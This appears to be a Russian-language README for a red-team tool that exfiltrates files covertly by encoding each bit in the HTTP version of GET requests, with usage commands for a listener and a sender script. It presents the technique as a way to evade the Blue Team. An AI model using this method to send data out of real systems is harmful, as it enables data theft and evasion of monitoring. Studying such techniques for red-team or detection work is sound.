
Экспортировать файлы, используя версию протокола HTTP ("HTTP/1.0" соответствует 0, а "HTTP/1.1" соответствует 1).
Используйте версию HTTP-протокола для отправки файла побитово ("HTTP/1.0" — это 0, а "HTTP/1.1" — это 1). Используются GET-запросы, поэтому Синяя команда увидит только запросы к вашему IP-адресу. Однако отправка больших файлов занимает много времени; например, для отправки 200 КБ требуется 1 час, а количество запросов будет очень большим (в 8 раз больше количества байт в файле).

Чтобы запустить прослушиватель, используйте listener.py с одним необязательным аргументом: портом, на котором он будет слушать.
python3 listener.py [PORT]
Пример:
python3 listener.py 8080
Чтобы отправить файл, используйте sender.py с двумя обязательными аргументами: путём к файлу и URL прослушивателя; и одним необязательным аргументом: именем создаваемого удалённого файла (если не указано, используется имя входного файла).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Пример:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
Сначала файл отправляется:

Если переменная debug установлена в True (по умолчанию она True), вы можете видеть двоичные значения в сообщениях журнала прослушивателя:

Новый файл создаётся с содержимым входного файла:

Я думаю (но не уверен), что читал кого-то в Twitter, кто утверждал, что использовал это для эксфильтрации данных, и мне понравилась идея. Если вы тот человек, дайте мне знать.